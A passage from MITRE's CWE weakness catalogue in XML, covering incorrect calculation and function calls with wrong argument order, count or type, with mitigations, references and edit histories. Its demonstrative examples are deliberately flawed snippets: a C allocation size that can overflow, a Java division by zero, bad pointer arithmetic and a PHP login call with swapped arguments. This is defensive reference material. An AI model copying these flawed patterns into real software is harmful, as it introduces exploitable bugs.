					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-33">
					          <Intro_Text>The following image processing code allocates a table for
						images.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>img_t table_ptr; /*struct containing img data, 10kB each*/</Code>
							              <Code>int num_imgs;</Code>
							              <Code>...</Code>
							              <Code>num_imgs = get_num_imgs();</Code>
							              <Code>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code intends to allocate a table of size num_imgs, however as
							num_imgs grows large, the calculation determining the size of the list
							will eventually overflow (CWE-190). This will result in a very small
							list to be allocated instead. If the subsequent code operates on the
							list as if it were num_imgs long, it may result in many types of
							out-of-bounds problems (CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code attempts to calculate a football team's average number of
						yards gained per touchdown.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>int touchdowns = team.getTouchdowns();</Code>
							              <Code>int yardsGained = team.getTotalYardage();</Code>
							              <Code>System.out.println(team.getName() + " averages " + yardsGained /
								touchdowns + "yards gained for every touchdown scored");</Code>
							              <Code>...</Code>
						            </Block>
						            <Code>The code does not consider the event that the team they are querying
							has not scored a touchdown, but has gained yardage. In that case, we
							should expect an ArithmeticException to be thrown by the JVM. This could
							lead to a loss of availability if our error handling code is not set up
							correctly.</Code>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-55">
					          <Intro_Text>This example attempts to calculate the position of the second byte
						of a pointer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int *p = x;</Code>
							              <Code>char * second_char = (char *)(p + 1);</Code>
						            </Block>
						            <Text>In this example, second_char is intended to point to the second byte
							of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result
							that is incorrect (3 bytes off on 32-bit platforms). If the resulting
							memory address is read, this could potentially be an information leak.
							If it is a write, it could be a security-critical write to unauthorized
							memory-- whether or not it is a buffer overflow. Note that the above
							code may also be wrong in other ways, particularly in a little endian
							environment.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-18">
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>Niels Dekker</Reference_Author>
					          <Reference_Title>SafeInt</Reference_Title>
					          <Reference_Link>http://safeint.codeplex.com/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 7: Integer Overflows." Page 119</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Signed Integer Boundaries", Page
						220.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Prevent or detect domain and range errors in math
						functions</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Convert integers to floating point for floating point
						operations</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use only explicitly signed or unsigned char type for numeric
						values</Mapped_Node_Name>
					          <Mapped_Node_ID>INT07-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use bitwise operators only on unsigned
						operands</Mapped_Node_Name>
					          <Mapped_Node_ID>INT13-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use only explicitly signed or unsigned char type for numeric
						values</Mapped_Node_Name>
					          <Mapped_Node_ID>INT07-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume a positive remainder when using the %
						operator</Mapped_Node_Name>
					          <Mapped_Node_ID>INT10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use bitwise operators only on unsigned
						operands</Mapped_Node_Name>
					          <Mapped_Node_ID>INT13-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Prevent or detect domain and range errors in math
						functions</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Convert integers to floating point for floating point
						operations</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>124</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>128</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>129</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team"> </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Likelihood_of_Exploit,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="683" Name="Function Call With Incorrect Order of Arguments" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software calls a function, procedure, or routine, but the
					caller specifies the arguments in an incorrect order, leading to resultant
					weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>While this weakness might be caught by the compiler in some languages, it
						can occur more frequently in cases in which the called function accepts
						variable numbers or types of arguments, such as format strings in C. It also
						can occur in languages or environments that do not enforce strong
						typing.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>628</Relationship_Target_ID>
					          <!--Function Call with Incorrectly Specified Arguments-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This problem typically occurs when the programmer makes a typo, or copy
						and paste errors.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the function, procedure, or routine as specified.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Because this function call often produces incorrect behavior it will
							usually be detected during testing or normal operation of the software.
							During testing exercise all possible control paths will typically expose
							this weakness except in rare cases when the incorrect function call
							accidentally produces the correct results or if the provided argument
							type is very similar to the expected argument type. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-62">
					          <Intro_Text>The following PHP method authenticates a user given a
						username/password combination but is called with the parameters in reverse
						order.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function authenticate($username, $password) {</Code>
							              <Block>
								                <Comment>// authenticate user</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>authenticate($_POST['password'], $_POST['username']);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7049</Observed_Example_Reference>
					          <Observed_Example_Description>Application calls functions with arguments in the
						wrong order, allowing attacker to bypass intended access
						restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="684" Name="Incorrect Provision of Specified Functionality" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The code does not function according to its published
					specifications, potentially leading to incorrect usage.</Description_Summary>
				        <Extended_Description>
					          <Text>When providing functionality to an external party, it is important that
						the software behaves in accordance with the details specified. When
						requirements of nuances are not documented, the functionality may produce
						unintended behaviors for the caller, possibly leading to an exploitable
						state.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>735</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 01 - Preprocessor (PRE)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that your code strictly conforms to specifications.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not replace secure functions with less secure
						functions</Mapped_Node_Name>
					          <Mapped_Node_ID>PRE09-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Failure to Provide Specified
						Functionality</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="685" Name="Function Call With Incorrect Number of Arguments" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software calls a function, procedure, or routine, but the
					caller specifies too many arguments, or too few arguments, which may lead to
					undefined behavior and resultant weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>628</Relationship_Target_ID>
					          <!--Function Call with Incorrectly Specified Arguments-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="Perl"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This problem typically occurs when the programmer makes a typo, or copy
						and paste errors.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Other</Method_Name>
					          <Method_Description>
						            <Text>While this weakness might be caught by the compiler in some languages,
							it can occur more frequently in cases in which the called function
							accepts variable numbers of arguments, such as format strings in C. It
							also can occur in languages or environments that do not require that
							functions always be called with the correct number of arguments, such as
							Perl.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Because this function call often produces incorrect behavior it will
							usually be detected during testing or normal operation of the software.
							During testing exercise all possible control paths will typically expose
							this weakness except in rare cases when the incorrect function call
							accidentally produces the correct results or if the provided argument
							type is very similar to the expected argument type. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Detection_Factors,
						Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="686" Name="Function Call With Incorrect Argument Type" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software calls a function, procedure, or routine, but the
					caller specifies an argument that is the wrong data type, which may lead to
					resultant weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness is most likely to occur in loosely typed languages, or in
						strongly typed languages in which the types of variable arguments cannot be
						enforced at compilation time, or where there is implicit casting.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>628</Relationship_Target_ID>
					          <!--Function Call with Incorrectly Specified Arguments-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>736</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
